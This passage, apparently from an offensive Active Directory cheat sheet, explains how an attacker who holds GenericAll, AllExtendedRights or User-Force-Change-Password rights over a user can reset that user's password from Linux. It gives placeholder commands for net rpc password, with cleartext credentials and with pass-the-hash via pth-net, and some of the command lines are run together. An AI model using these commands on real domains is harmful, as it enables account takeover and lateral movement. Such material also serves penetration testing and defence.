This abuse can be carried out when controlling an object that has a GenericAll, AllExtendedRights or User-Force-Change-Password over the target user.
It can also be achieved from UNIX-like system with net, a tool for the administration of samba and cifs/smb clients. The pth-toolkit can also be used to run net commands with pass-the-hash.
# With net and cleartext credentials (will be prompted)netrpcpassword $TargetUser -U $DOMAIN/$ControlledUser -S $DomainController# With net and cleartext credentialsnetrpcpassword $TargetUser -U $DOMAIN/$ControlledUser%$Password -S $DomainController# With Pass-the-Hashpth-net rpc password $TargetUser -U $DOMAIN/$ControlledUser%ffffffffffffffffffffffffffffffff:$NThash -S $DomainController
The rpcclient can also be used on UNIX-like systems when the package samba-common-bin is missing.